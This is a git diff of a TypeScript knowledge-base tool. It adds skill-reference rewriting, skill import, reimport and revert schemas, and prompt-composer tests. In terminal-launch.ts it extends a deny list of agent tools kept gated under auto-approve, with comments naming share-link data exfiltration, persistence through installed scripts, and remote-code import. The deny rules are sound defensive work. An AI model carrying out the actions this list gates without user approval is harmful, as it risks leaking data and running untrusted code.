+ return !SKILL_REF_STOPLIST.has(slug);
+}
+
+/** Whole-span inline-code form of the same convention: `` `/skill-name` ``. */
+const SKILL_REF_CODE_RE = /`\/([a-z0-9][a-z0-9-]{1,63})`/g;
+
+/**
+ * Extract every distinct `/skill-name` reference from a skill doc's markdown
+ * body — prose tokens (SKILL_REF_RE) plus whole inline-code spans. Order is
+ * first-seen; stop-listed roots excluded.
+ */
+export function extractSkillRefs(body: string): string[] {
+ const out = new Set<string>();
+ SKILL_REF_RE.lastIndex = 0;
+ for (let m = SKILL_REF_RE.exec(body); m !== null; m = SKILL_REF_RE.exec(body)) {
+ const slug = m[2] as string;
+ if (isSkillRefCandidate(slug)) out.add(slug);
+ }
+ SKILL_REF_CODE_RE.lastIndex = 0;
+ for (let m = SKILL_REF_CODE_RE.exec(body); m !== null; m = SKILL_REF_CODE_RE.exec(body)) {
+ const slug = m[1] as string;
+ if (isSkillRefCandidate(slug)) out.add(slug);
+ }
+ return [...out];
+}
+
+/**
+ * Rewrite every `/from` reference in a skill body to `/to`.
+ *
+ * Symmetry with `extractSkillRefs` is the contract, not an accident: an
+ * occurrence that draws a graph edge is exactly the occurrence a rename has to
+ * carry, and one that draws no edge must be left alone. Both forms the
+ * extractor reads (prose token, whole inline-code span) are rewritten; anything
+ * it ignores — a path continuation like `/from/x`, a stop-listed root — is not.
+ *
+ * Skill refs are resolved by NAME at read time rather than stored as paths, so
+ * without this a rename silently drops every inbound edge: the referencing body
+ * still says `/from`, nothing answers to that name, and dead-link detection
+ * never sees it (skill refs are computed, so they never enter the backward map).
+ */
+export function rewriteSkillRefs(body: string, from: string, to: string): string {
+ if (from === to || !isSkillRefCandidate(from) || !body.includes(`/${from}`)) return body;
+ SKILL_REF_RE.lastIndex = 0;
+ const prose = body.replace(SKILL_REF_RE, (match, lead: string, slug: string) =>
+ slug === from ? `${lead}/${to}` : match,
+ );
+ SKILL_REF_CODE_RE.lastIndex = 0;
+ return prose.replace(SKILL_REF_CODE_RE, (match, slug: string) =>
+ slug === from ? `\`/${to}\`` : match,
+ );
+}
diff --git a/packages/core/src/desktop-bridge.ts b/packages/core/src/desktop-bridge.ts
index 1758842c8..aac13e17a 100644
--- a/packages/core/src/desktop-bridge.ts
+++ b/packages/core/src/desktop-bridge.ts
@@ -134,6 +134,7 @@ interface ProjectSessionState {
pinnedTabIds: string[];
activeDocName: string | null;
activeTabId: string | null;
+ activeTabByMode: { files: string | null; skills: string | null };
updatedAt: string | null;
}
@@ -636,7 +637,7 @@ interface OkScaffoldPlan {
warnings: string[];
/** The pack's project-local skill, when it ships one. `pending` = the skill
* source is absent from `.ok/skills/` and apply would (re)author it. */
- packSkill?: { name: string; pending: boolean };
+ packSkills?: { name: string; pending: boolean }[];
}
interface OkScaffoldApplyError {
path: string;
diff --git a/packages/core/src/handoff/prompt-composer.test.ts b/packages/core/src/handoff/prompt-composer.test.ts
index 478b22047..59e8b9995 100644
--- a/packages/core/src/handoff/prompt-composer.test.ts
+++ b/packages/core/src/handoff/prompt-composer.test.ts
@@ -410,6 +410,21 @@ test('composeCreatePrompt degrades an empty brief to a scenario-appropriate bare
);
});
+test('composeCreatePrompt skill frames the brief as a new skill authored via write-skill', () => {
+ const out = composeCreatePrompt('a PR reviewer', false, 'skill', []);
+ expect(out).toContain("I want to create a new Open Knowledge skill. Here's what it should do:");
+ expect(out).toContain('> a PR reviewer');
+ expect(out).toContain('Use your open-knowledge-write-skill skill to author it');
+});
+
+test('composeCreatePrompt skill empty brief degrades to a bare write-skill directive', () => {
+ const expected =
+ "Let's create a new Open Knowledge skill." +
+ ' Use your open-knowledge-write-skill skill to author it with the Open Knowledge tools.';
+ expect(composeCreatePrompt('', false, 'skill', [])).toBe(expected);
+ expect(composeCreatePrompt(' \n ', false, 'skill', [])).toBe(expected);
+});
+
test('composeCreatePrompt does NOT sanitize the brief — user input is trusted, not a path', () => {
// The path composers defang filenames (control bytes, backticks) because
// filenames cross a privilege boundary. The create brief is the user's own
diff --git a/packages/core/src/handoff/prompt-composer.ts b/packages/core/src/handoff/prompt-composer.ts
index dff545fd1..ff5c8111c 100644
--- a/packages/core/src/handoff/prompt-composer.ts
+++ b/packages/core/src/handoff/prompt-composer.ts
@@ -295,9 +295,11 @@ export function composeEmptySpacePrompt(
* prompt framing. `new-project` (OnboardingView, no content yet) pitches
* standing up a fresh project; `existing-repo` (CreateView, project already has
* content) frames the brief as work over the existing project — no "new
- * project" wording, no scaffold-from-scratch directive.
+ * project" wording, no scaffold-from-scratch directive; `skill` (the Skills
+ * home) frames the brief as a new skill to author via the built-in
+ * `open-knowledge-write-skill` skill.
*/
-export type CreateScenario = 'new-project' | 'existing-repo';
+export type CreateScenario = 'new-project' | 'existing-repo' | 'skill';
/**
* Create-scope composer — the empty-state "Create with <agent>" prompt. The
@@ -361,6 +363,27 @@ export function composeCreatePrompt(
return withTrailer(base);
}
+ if (scenario === 'skill') {
+ const writeSkill =
+ 'Use your open-knowledge-write-skill skill to author it with the Open Knowledge tools.';
+ const base =
+ trimmed === ''
+ ? mentionBlock === ''
+ ? `Let's create a new Open Knowledge skill. ${writeSkill}`
+ : [`Let's create a new Open Knowledge skill. ${writeSkill}`, '', mentionBlock].join(
+ '\n',
+ )
+ : [
+ "I want to create a new Open Knowledge skill. Here's what it should do:",
+ '',
+ blockquote(trimmed),
+ ...(mentionBlock === '' ? [] : ['', mentionBlock]),
+ '',
+ writeSkill,
+ ].join('\n');
+ return withTrailer(base);
+ }
+
const scaffold =
'Scaffold the folders, templates, and AI-readable rules to match, using OpenKnowledge.';
const base =
diff --git a/packages/core/src/handoff/terminal-launch.test.ts b/packages/core/src/handoff/terminal-launch.test.ts
index 1748777ff..b795a326a 100644
--- a/packages/core/src/handoff/terminal-launch.test.ts
+++ b/packages/core/src/handoff/terminal-launch.test.ts
@@ -17,7 +17,7 @@ import {
// shape (or the canonical server name) ever changes.
const CLAUDE_PREAPPROVE = `--settings '{"enabledMcpjsonServers":["${MCP_SERVER_NAME}"]}'`;
const OK_ALLOW = `["mcp__${MCP_SERVER_NAME}","Bash(ok open:*)"]`;
-const OK_DENY = `["mcp__${MCP_SERVER_NAME}__delete","mcp__${MCP_SERVER_NAME}__move","mcp__${MCP_SERVER_NAME}__share_link","mcp__${MCP_SERVER_NAME}__install"]`;
+const OK_DENY = `["mcp__${MCP_SERVER_NAME}__delete","mcp__${MCP_SERVER_NAME}__move","mcp__${MCP_SERVER_NAME}__share_link","mcp__${MCP_SERVER_NAME}__install","mcp__${MCP_SERVER_NAME}__import"]`;
describe('TERMINAL_CLI_IDS', () => {
it('lists the CLIs in auto-pick priority order (claude > codex > opencode > cursor > copilot > pi > antigravity > openclaw > hermes)', () => {
@@ -357,7 +357,7 @@ describe('OK auto-approve (autoApproveOkTools)', () => {
it('keeps every gated tool in the deny list (never silently auto-approved)', () => {
const arg = buildCliLaunchArgString('claude', 'hi', { autoApproveOkTools: true });
- expect(OK_GATED_TOOL_NAMES).toEqual(['delete', 'move', 'share_link', 'install']);
+ expect(OK_GATED_TOOL_NAMES).toEqual(['delete', 'move', 'share_link', 'install', 'import']);
for (const denied of OK_GATED_TOOL_NAMES) {
expect(arg).toContain(`"mcp__${MCP_SERVER_NAME}__${denied}"`);
}
diff --git a/packages/core/src/handoff/terminal-launch.ts b/packages/core/src/handoff/terminal-launch.ts
index 002c639ef..20bd721eb 100644
--- a/packages/core/src/handoff/terminal-launch.ts
+++ b/packages/core/src/handoff/terminal-launch.ts
@@ -141,9 +141,10 @@ const OK_AUTO_APPROVE_ALLOW_RULES: readonly string[] = [
* OK MCP tools kept GATED even when auto-approve is on: `deny` out-ranks `allow`
* in Claude's precedence (deny then ask then allow), so these keep prompting.
* The goal is a frictionless read/write loop, never a silent `delete` / `move`
- * (KB-wide blast radius), `share_link` (data exfiltration), or `install` (writes
+ * (KB-wide blast radius), `share_link` (data exfiltration), `install` (writes
* executable skill scripts into the agent's own config dir — a persistence
- * vector, unlike a version-recoverable doc write).
+ * vector, unlike a version-recoverable doc write), or `import` (fetches skill
+ * content from an arbitrary github / git URL — remote-code acquisition).
*
* The allow-rule is open-ended (`mcp__<server>` matches EVERY OK tool) while this
* deny-list is closed, so a new destructive tool would silently inherit
@@ -151,7 +152,13 @@ const OK_AUTO_APPROVE_ALLOW_RULES: readonly string[] = [
* tool name against this list plus its auto-approved complement — adding a tool
* fails that test until it is consciously classified. Keep the two in lockstep.
*/
-export const OK_GATED_TOOL_NAMES: readonly string[] = ['delete', 'move', 'share_link', 'install'];
+export const OK_GATED_TOOL_NAMES: readonly string[] = [
+ 'delete',
+ 'move',
+ 'share_link',
+ 'install',
+ 'import',
+];
const OK_AUTO_APPROVE_DENY_RULES: readonly string[] = OK_GATED_TOOL_NAMES.map(
(tool) => `mcp__${MCP_SERVER_NAME}__${tool}`,
diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts
index 139382d12..e851c9a7d 100644
--- a/packages/core/src/index.ts
+++ b/packages/core/src/index.ts
@@ -240,7 +240,12 @@ export {
CONFIG_DOC_NAME_USER,
CONFIG_DOC_NAMES,
type ConfigDocName,
+ externalSkillFileLiveDocName,
+ externalSkillLiveDocName,
+ isExternalSkillDocName,
isManagedArtifactDocName,
+ LEGACY_SKILL_STORE_ROOT,
+ MANAGED_ARTIFACT_PREFIX_EXTSKILL,
MANAGED_ARTIFACT_PREFIX_SKILL,
MANAGED_ARTIFACT_PREFIX_TEMPLATE,
MANAGED_ARTIFACT_SCOPES,
@@ -249,14 +254,17 @@ export {
type ParsedGlobalSkillBundleDoc,
type ParsedManagedArtifactName,
type ParsedProjectSkillBundleDoc,
+ parseExternalSkillDocName,
parseGlobalSkillBundleDoc,
parseManagedArtifactName,
parseProjectSkillBundleDoc,
projectSkillContentDocName,
resolveSkillBundleWikiTarget,
- SKILL_CONTENT_ROOT,
+ resolveSkillSlashTarget,
SYSTEM_DOC_NAME,
+ skillFileLiveDocName,
skillLiveDocName,
+ stripMdExt,
} from './constants/cc1.ts';
export { CHROME_BG_DARK, CHROME_BG_LIGHT } from './constants/chrome.ts';
export {
@@ -286,6 +294,7 @@ export {
EDITOR_PROJECT_CONFIG_PATH,
EDITOR_PROJECT_SKILL_ROOT,
EDITOR_SETUP_DOC_SLUG,
+ EDITOR_USER_SKILL_ROOT,
type EditorId,
HOSTS_WITH_USER_SKILL_DIR,
PROJECT_SKILL_EDITOR_IDS,
@@ -323,6 +332,14 @@ export {
} from './constants/preview-theme-tokens.ts';
export { PRODUCT_NAME } from './constants/product.ts';
export { DEFAULT_SERVER_HOST } from './constants/server.ts';
+export {
+ extractSkillRefs,
+ isSkillRefCandidate,
+ OPENKNOWLEDGE_SKILLS_REPO,
+ PACK_SKILL_PREFIX,
+ rewriteSkillRefs,
+ SKILL_REF_RE,
+} from './constants/skills.ts';
export {
isUninstallFeedbackReason,
UNINSTALL_FEEDBACK_EMAIL_MAX_LEN,
@@ -659,6 +676,7 @@ export {
projectFull,
projectLite,
renderInventoryFooter,
+ renderInventoryList,
} from './registry/projection.ts';
export type {
ClipboardHastContext,
@@ -1023,8 +1041,17 @@ export {
ShareTargetStatusVerdictSchema,
SKILL_INSTALL_WARNING_CODES,
SKILL_NAME_REGEX,
+ SKILLS_IMPORT_BULK_MAX,
type SkillDeleteSuccess,
SkillDeleteSuccessSchema,
+ type SkillDuplicateRequest,
+ SkillDuplicateRequestSchema,
+ type SkillDuplicateSuccess,
+ SkillDuplicateSuccessSchema,
+ type SkillEditExternalRequest,
+ SkillEditExternalRequestSchema,
+ type SkillEditExternalSuccess,
+ SkillEditExternalSuccessSchema,
type SkillFileDeleteSuccess,
SkillFileDeleteSuccessSchema,
type SkillFileGetSuccess,
@@ -1035,10 +1062,26 @@ export {
SkillFilePutRequestSchema,
type SkillFilePutSuccess,
SkillFilePutSuccessSchema,
+ type SkillFileRenameRequest,
+ SkillFileRenameRequestSchema,
+ type SkillFileRenameSuccess,
+ SkillFileRenameSuccessSchema,
+ type SkillFolderAction,
+ SkillFolderActionSchema,
type SkillFrontmatter,
SkillFrontmatterSchema,
type SkillGetSuccess,
SkillGetSuccessSchema,
+ type SkillHostIdArg,
+ SkillHostIdArgSchema,
+ type SkillImportBulkResult,
+ SkillImportBulkResultSchema,
+ type SkillImportProvenance,
+ SkillImportProvenanceSchema,
+ type SkillImportRequest,
+ SkillImportRequestSchema,
+ type SkillImportSuccess,
+ SkillImportSuccessSchema,
type SkillInstallRequest,
SkillInstallRequestSchema,
type SkillInstallStateSuccess,
@@ -1048,22 +1091,43 @@ export {
type SkillInstallTargetState,
SkillInstallTargetStateSchema,
type SkillInstallWarningCode,
+ type SkillLocationId,
+ SkillLocationIdSchema,
type SkillMoveRequest,
SkillMoveRequestSchema,
+ type SkillMoveScopeRequest,
+ SkillMoveScopeRequestSchema,
+ type SkillMoveScopeSuccess,
+ SkillMoveScopeSuccessSchema,
type SkillMoveSuccess,
SkillMoveSuccessSchema,
+ type SkillOrigin,
+ SkillOriginSchema,
type SkillPayload,
SkillPayloadSchema,
type SkillPutRequest,
SkillPutRequestSchema,
type SkillPutSuccess,
SkillPutSuccessSchema,
+ type SkillReimportRequest,
+ SkillReimportRequestSchema,
+ type SkillReimportSuccess,
+ SkillReimportSuccessSchema,
type SkillRestoreRequest,
SkillRestoreRequestSchema,
type SkillRestoreSuccess,
SkillRestoreSuccessSchema,
+ type SkillRevertRequest,
+ SkillRevertRequestSchema,
+ type SkillRevertSuccess,
+ SkillRevertSuccessSchema,
+ SkillRootPathSchema,
type SkillScope,
SkillScopeSchema,
+ type SkillsImportBulkRequest,
+ SkillsImportBulkRequestSchema,
+ type SkillsImportBulkSuccess,
+ SkillsImportBulkSuccessSchema,
type SkillsListEntry,
SkillsListEntrySchema,
type SkillsListSuccess,
@@ -1078,10 +1142,6 @@ export {
SkillUninstallRequestSchema,
type SkillUninstallSuccess,
SkillUninstallSuccessSchema,
- type SkillUpdateRequest,
- SkillUpdateRequestSchema,
- type SkillUpdateSuccess,
- SkillUpdateSuccessSchema,
type SpawnCursorRequest,
SpawnCursorRequestSchema,
type SpawnCursorSuccess,
@@ -1516,15 +1576,62 @@ export {
type SkillStateTargetEntry,
} from './skill-state/schema.ts';
export {
- parseSkillTargets,
- SKILL_TARGETS_FILENAME,
- SKILL_TARGETS_REL,
- SKILL_TARGETS_SCHEMA_VERSION,
+ isSkillInstallTarget,
+ type SkillInstallTarget,
type SkillTargetEditor,
SkillTargetEditorSchema,
- type SkillTargets,
- SkillTargetsSchema,
} from './skill-targets/schema.ts';
+export {
+ SKILL_IMPORT_MAX_BUNDLE_FILES,
+ SKILL_IMPORT_MAX_FILE_BYTES,
+ SKILL_IMPORT_MAX_TOTAL_BYTES,
+} from './skills-catalog/import-limits.ts';
+// Skill/Pack model — browser-safe schemas and source helpers. The node:fs
+// enumerator lives behind the `@inkeep/open-knowledge-core/skills-catalog`
+// subpath so this root barrel stays importable from app/docs browser bundles.
+export {
+ type CatalogSkill,
+ CatalogSkillSchema,
+ OK_PACK_SCHEMA_VERSION,
+ type OkPack,
+ OkPackSchema,
+ type PluginBundleMetadata,
+ PluginBundleMetadataSchema,
+ type PluginSourceMetadata,
+ PluginSourceMetadataSchema,
+ type SkillDetail,
+ SkillDetailSchema,
+ type SkillDiscover,
+ SkillDiscoverSchema,
+ type SkillInert,
+ SkillInertSchema,
+ type SkillManifest,
+ SkillManifestSchema,
+ type SkillPreview,
+ SkillPreviewSchema,
+ type SkillProvenance,
+ SkillProvenanceSchema,
+ type SkillRefResolution,
+ SkillRefResolutionSchema,
+ type SkillSearchResult,
+ SkillSearchResultSchema,
+ type SkillsInstalledSuccess,
+ SkillsInstalledSuccessSchema,
+ type SkillsSearchSuccess,
+ SkillsSearchSuccessSchema,
+} from './skills-catalog/schema.ts';
+// Detected-skill scope resolution — pure, browser-safe project-locality helpers
+// shared by the client sidebar (bucketing) and the server endpoint (filtering).
+export {
+ catalogRawScopeToOkScope,
+ isDetectedSkillInProject,
+} from './skills-catalog/scope.ts';
+export {
+ parseSkillsShCatalogSource,
+ type SkillsShCatalogSource,
+ type SkillsShSkillLinks,
+ skillsShSkillLinks,
+} from './skills-catalog/source-fields.ts';
// Template file format — single-block parse/compose/instantiate (+ legacy back-compat)
export {
composeTemplateFile,
diff --git a/packages/core/src/installed-skills/schema.ts b/packages/core/src/installed-skills/schema.ts
index d3a6bf137..5d9d653ed 100644
--- a/packages/core/src/installed-skills/schema.ts
+++ b/packages/core/src/installed-skills/schema.ts
@@ -56,6 +56,16 @@ export const InstalledSkillEntrySchema = z.looseObject({
scope: InstalledSkillScopeSchema,
scripts: z.boolean(),
installedAt: z.iso.datetime(),
+ // Projection mode (marketplace slice 4): locally-authored skills project as a
+ // `symlink` back to the `.ok/skills` source; acquired/imported skills project
+ // as a verbatim `copy` so they survive a fresh clone / Windows / CI where the
+ // source link would dangle. Optional + defaulted-on-read so markers written by
+ // an older OK (symlink-only) parse unchanged.
+ projection: z.enum(['symlink', 'copy']).optional(),
+ // sha256 of the projected bundle at install time — recorded for `copy` entries
+ // ONLY (a symlink has no snapshot to drift). Lets reconcile detect a
+ // locally-edited projected copy.
+ contentHash: z.string().optional(),
});
export type InstalledSkillEntry = z.infer<typeof InstalledSkillEntrySchema>;
diff --git a/packages/core/src/registry/projection.ts b/packages/core/src/registry/projection.ts
index 13e6fe087..a52f4c63d 100644
--- a/packages/core/src/registry/projection.ts
+++ b/packages/core/src/registry/projection.ts
@@ -293,21 +293,35 @@ export function projectFull(descriptor: JsxComponentMeta): ComponentEntryFull {
}
/**
- * Render the inline inventory text that gets baked into the JSON-schema
- * `description` of `write` and `edit`. The footer leads with
- * the canonical-preference framing and lists every canonical with its kind +
- * description so agents can pick the right one without a separate listing call.
+ * The canonical inventory: one line per component, id + kind + one-liner. This
+ * is the DISCOVERY half of the surface — an agent that never sees these ids
+ * never learns `Mirror` or `Tabs` exist, so it never thinks to ask `palette`
+ * for their schemas. Both `write` and `edit` carry it.
*
* Computed once at server boot (registry is module-init pure-data). When the
* registry changes, server restart applies the new text.
*/
-export function renderInventoryFooter(): string {
+export function renderInventoryList(): string {
const lite = getAgentCanonicalDescriptors().map(projectLite);
const lines = lite.map((entry) => `- \`${entry.id}\` (${entry.kind}) — ${entry.description}`);
return [
'',
- '**Custom canonical components.** OK `.md` / `.mdx` supports the JSX components below — use whichever is semantically useful in any part of the doc. For full source syntax + parameter schemas, call `palette({ components: [ids] })` with the ids you want to use. Fenced code blocks render naturally and don\'t need a fetch — including ` ```mermaid ` for diagrams (mermaid label text has sharp edges — `palette({ components: ["Mermaid"] })` lists them; parse failures come back as `warnings` entries on write/edit) and ` ```html preview ` for interactive HTML/JS/CSS pages (the fence info-string `preview` token renders the block as a live iframe; works for `html` / `htm` / `xml`; optional `h=` / `w=` tokens set size, e.g. ` ```html preview h=400px `). Use ` ```html preview ` whenever you want anything interactive or JS-powered (charts, demos, calculators, animations) — just author the standalone HTML page in the fence. Call `palette` for the markdown-native component forms (write `> [!NOTE]`, not `<Callout>`), copy-ready themed `html preview` starters, and the theme tokens (`var(--chart-1)`, `var(--foreground)`, …) an embed should reference so it tracks the reader\'s light/dark theme. Arbitrary `<TagName>` JSX falls through as raw MDX when no canonical fits.',
+ '**Custom canonical components.** OK `.md` / `.mdx` supports the JSX components below. For source syntax + parameter schemas, call `palette({ components: [ids] })`. Arbitrary `<TagName>` JSX falls through as raw MDX when no canonical fits.',
'',
...lines,
].join('\n');
}
+
+/**
+ * Discovery list + the authoring REFERENCE half (fence syntax, `html preview`
+ * sizing tokens, theme tokens). Only `write` carries the reference half: it is
+ * always-on context, and `palette` is its on-demand home — the text below says
+ * so itself. `edit` composes `renderInventoryList()` alone.
+ */
+export function renderInventoryFooter(): string {
+ return [
+ renderInventoryList(),
+ '',
+ 'Fenced code blocks render naturally and don\'t need a fetch — including ` ```mermaid ` for diagrams (mermaid label text has sharp edges — `palette({ components: ["Mermaid"] })` lists them; parse failures come back as `warnings` entries on write/edit) and ` ```html preview ` for interactive HTML/JS/CSS pages (the fence info-string `preview` token renders the block as a live iframe; works for `html` / `htm` / `xml`; optional `h=` / `w=` tokens set size, e.g. ` ```html preview h=400px `). Use ` ```html preview ` whenever you want anything interactive or JS-powered (charts, demos, calculators, animations) — just author the standalone HTML page in the fence. Call `palette` for the markdown-native component forms (write `> [!NOTE]`, not `<Callout>`), copy-ready themed `html preview` starters, and the theme tokens (`var(--chart-1)`, `var(--foreground)`, …) an embed should reference so it tracks the reader\'s light/dark theme.',
+ ].join('\n');
+}
diff --git a/packages/core/src/schemas/api/tags-search.ts b/packages/core/src/schemas/api/tags-search.ts
index 55b6ee918..1b7c51e54 100644
--- a/packages/core/src/schemas/api/tags-search.ts
+++ b/packages/core/src/schemas/api/tags-search.ts
@@ -443,14 +443,37 @@ export const SkillGetSuccessSchema = z
.strict() satisfies StandardSchemaV1;
export type SkillGetSuccess = z.infer<typeof SkillGetSuccessSchema>;
+/**
+ * Import provenance surfaced to the UI — the subset of a `.ok/skills-lock.json`
+ * entry the properties panel needs. `source` is the raw import source (GitHub
+ * `owner/repo`, a git URL, or a local path), `publisher` the derived owner,
+ * `ref` the resolved commit sha, `importedAt` an ISO timestamp.
+ */
+export const SkillOriginSchema = z
+ .object({
+ source: z.string().min(1),
+ publisher: z.string().optional(),
+ /** Upstream skill slug in a multi-skill source (skills.sh page URLs). */
+ skill: z.string().optional(),
+ /** Public repository for a plugin-cache source, resolved from the harness
+ * marketplace registry. The raw `source` remains the import identity. */
+ marketplaceUrl: z.string().optional(),
+ importedAt: z.string().min(1),
+ /** Explicit per-skill auto-update choice. When absent, local filesystem
+ * sources default on and remote sources default off. */
+ autoUpdate: z.boolean().optional(),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillOrigin = z.infer<typeof SkillOriginSchema>;
+
/**
* Single entry in `SkillsListSuccessSchema.skills`. `description` is optional
* so a malformed on-disk skill (missing/empty frontmatter) still lists rather
* than failing the whole enumeration — the Skills panel surfaces it as a
- * Draft to fix. `installed` + `hosts` derive from the per-project install marker
+ * so it can be fixed. `installed` + `hosts` derive from the per-project install marker
* (`.ok/local/installed-skills.json`): `installed` is `true` when the skill has
* an install record, `hosts` are the editor ids it was projected into (empty
- * when never installed). They let the panel badge each row Draft vs Installed
+ * when never installed). They let the panel show where each row is installed
* and name the host dirs without a second round-trip.
*/
export const SkillsListEntrySchema = z
@@ -466,21 +489,56 @@ export const SkillsListEntrySchema = z
absolutePath: z.string().min(1).optional(),
installed: z.boolean(),
hosts: z.array(z.string()),
- // Starter-pack update detection. Present only for
- // `open-knowledge-pack-*` skills: `installedVersion` is the `version`
- // frontmatter of the user's copy (undefined when the copy predates
- // versioning — treated as v0); `bundledVersion` is the version OK currently
- // ships; `updateAvailable` is the server's semver verdict
- // (`bundledVersion > installedVersion`). Absent on non-pack skills, so the
- // panel only badges packs.
- installedVersion: z.string().optional(),
- bundledVersion: z.string().optional(),
- updateAvailable: z.boolean().optional(),
+ /** Hosts whose occurrence is a SYMLINK (in-place skills; user links are
+ * preserved and disclosed rather than presented as plain copies). */
+ driftPaths: z.array(z.string()).optional().meta({
+ description:
+ 'Recorded locations whose on-disk form (copy vs symlink) no longer matches what OK last wrote there — evidence another tool rewrote the path.',
+ }),
+ hostAliases: z.record(z.string(), z.string()).optional().meta({
+ description:
+ "Host skills roots that are symlink ALIASES of another location (host id → base-relative target root). An aliased folder is a derived view — no menu row, never a write target; the host's icon rides the target root's row.",
+ }),
+ conflictHosts: z.array(z.string()).optional().meta({
+ description:
+ 'Hosts whose dir holds a DIFFERENT same-name skill (fork/conflict) — occupied, not this skill.',
+ }),
+ symlinkedHosts: z.array(z.string()).optional(),
+ /** Editor ids the install menu may OFFER for this skill's scope on THIS
+ * machine. Project scope: every editor with a project skill root (all
+ * creatable). Global scope: only editors whose user-home skill dir actually
+ * exists (`detectUserSkillHosts`) — so we don't offer an install that
+ * silently no-ops (e.g. Copilot with no `~/.copilot`), which flashed a
+ * checkmark then reverted. Absent → the menu offers all. */
+ installableEditors: z.array(z.string()).optional(),
+ /** Per-skill install-mode preference: editor fan-out uses symlinks to the
+ * canonical instead of copies. Machine-local. */
+ linkMode: z.boolean().optional(),
+ /** Custom placements (project-relative bundle dirs) recorded by the
+ * install menu's custom-path action — machine-local, `.ok/local/`. */
+ customPlacements: z
+ .array(z.object({ path: z.string(), mode: z.enum(['copy', 'link']) }).strict())
+ .optional(),
/** True for OpenKnowledge's own built-in `open-knowledge*` skills (the ones
* projected into editor host dirs, e.g. `.claude/skills/open-knowledge`).
* They are READ-ONLY: surfaced so users can see what their agents load, but
* edit/rename/delete/install are disabled in the UI and refused by the API. */
managed: z.boolean().optional(),
+ // Import provenance from `.ok/skills-lock.json` (project skills only). Present
+ // when the skill was brought in via import; drives the "Imported from …"
+ // properties row + the "Update from source" action. Absent for authored
+ // skills and all global-scope skills (the global store is unversioned).
+ origin: SkillOriginSchema.optional(),
+ // True when the skill's current on-disk content diverges from what was
+ // installed (the write-time `localHash` baseline in the lockfile). Drives the
+ // "Modified" indicator. Only set for imported project skills whose lock entry
+ // carries a baseline; omitted (clean) otherwise.
+ modified: z.boolean().optional(),
+ // True when the lock entry carries a shadow-repo `baselineRef` — the installed
+ // bytes Revert restores from. Gates the Revert button so it never shows-and-
+ // fails: a `modified` skill in a non-git project has a `localHash` (Modified
+ // shows) but no `baselineRef` (nothing to revert to), so Revert stays hidden.
+ revertable: z.boolean().optional(),
})
.strict() satisfies StandardSchemaV1;
export type SkillsListEntry = z.infer<typeof SkillsListEntrySchema>;
@@ -503,7 +561,7 @@ export type SkillsListSuccess = z.infer<typeof SkillsListSuccessSchema>;
export const SkillPutRequestSchema = z
.object({
scope: SkillScopeSchema.default('project'),
- name: z.string(),
+ name: z.string().meta({ description: 'Managed skill name to create or update.' }),
body: z.string().optional(),
frontmatter: SkillFrontmatterSchema,
// Identity + summary for attribution (folder timeline). Resolved by
@@ -525,37 +583,80 @@ export const SkillPutSuccessSchema = z
export type SkillPutSuccess = z.infer<typeof SkillPutSuccessSchema>;
/**
- * Request body for `POST /api/skill/update` — refresh an installed starter-pack
- * skill (`open-knowledge-pack-*`) from OK's currently-bundled source. The handler
- * checkpoints the current doc first (reversible), then overwrites it verbatim
- * from the bundle (preserving the bundled `version`). `scope` defaults to
- * `project` (pack skills are project-scope). Identity drives the timeline.
+ * Request body for `POST /api/skill/reimport` — refresh an IMPORTED skill from
+ * its recorded upstream (`.ok/skills-lock.json`). Unlike a pack seed
+ * (bundled starter packs), the source is re-fetched from the network. `scope`
+ * defaults to `project` (only project skills carry a lockfile).
*/
-export const SkillUpdateRequestSchema = z
+export const SkillReimportRequestSchema = z
.object({
scope: SkillScopeSchema.default('project'),
name: z.string(),
+ // Preview only — fetch upstream and report the diff WITHOUT writing. Drives
+ // the "Update overwrites your local edits" confirm dialog: the client shows
+ // `localBody` vs `upstreamBody`, then re-POSTs without `dryRun` to apply.
+ dryRun: z.boolean().optional(),
+ // Toggle-persist mode: when present, ONLY flips the lockfile entry's
+ // `autoUpdate` flag and returns (no upstream fetch, nothing rewritten).
+ // Rides this route so the toggle needs no new endpoint.
+ setAutoUpdate: z.boolean().optional(),
...agentIdentityFields,
summary: summaryField,
})
.strict() satisfies StandardSchemaV1;
-export type SkillUpdateRequest = z.infer<typeof SkillUpdateRequestSchema>;
+export type SkillReimportRequest = z.infer<typeof SkillReimportRequestSchema>;
/**
- * Success body for `POST /api/skill/update`. `version` is the now-installed
- * (bundled) version; `previousVersion` is what the copy carried before (absent
- * when versionless); `checkpointRef` is the pre-update version-history checkpoint
- * the user can restore to.
+ * Success body for `POST /api/skill/reimport`. `updated` is false when the
+ * upstream content hash matched the recorded one (already up to date — nothing
+ * written). On a `dryRun`, nothing is written and `localBody`/`upstreamBody`
+ * carry the two SKILL.md bodies for the confirm dialog's diff.
*/
-export const SkillUpdateSuccessSchema = z
+export const SkillReimportSuccessSchema = z
.object({
name: z.string().min(1),
- version: z.string().min(1),
- previousVersion: z.string().optional(),
- checkpointRef: z.string().optional(),
+ updated: z.boolean(),
+ source: z.string().min(1),
+ /** Present only on a `dryRun`: the skill's current on-disk SKILL.md body. */
+ localBody: z.string().optional(),
+ /** Present only on a `dryRun`: the fetched upstream SKILL.md body. */
+ upstreamBody: z.string().optional(),
+ /** Present on a `dryRun` for PROJECT skills: the bundle dir has tracked
+ * files in the project git index. Auto-update refuses git-tracked skills
+ * (two machines auto-updating + autoSync = lockfile/bundle churn war);
+ * updates flow through the repo (pull / CI) or the manual Update button. */
+ gitTracked: z.boolean().optional(),
+ warnings: z.array(z.string()),
+ })
+ .strict() satisfies StandardSchemaV1;
+export type SkillReimportSuccess = z.infer<typeof SkillReimportSuccessSchema>;
+
+/**
+ * Request body for `POST /api/skill/revert` — discard local edits and restore an
+ * imported skill to the exact bytes recorded when it was installed/last updated
+ * (the shadow-repo `baselineRef` in `.ok/skills-lock.json`). Project scope only.
+ */
+export const SkillRevertRequestSchema = z
+ .object({
+ scope: SkillScopeSchema.default('project'),
+ name: z.string(),
+ ...agentIdentityFields,
+ summary: summaryField,
})
.strict() satisfies StandardSchemaV1;
-export type SkillUpdateSuccess = z.infer<typeof SkillUpdateSuccessSchema>;
+export type SkillRevertRequest = z.infer<typeof SkillRevertRequestSchema>;
+
+/** Success body for `POST /api/skill/revert`. `restoredFiles` are skill-dir
+ * relative; `baselineRef` is the shadow commit the skill was restored to. */
+export const SkillRevertSuccessSchema = z
+ .object({
+ name: z.string().min(1),
+ baselineRef: z.string().min(1),
+ restoredFiles: z.array(z.string()),
+ warnings: z.array(z.string()),
+ })
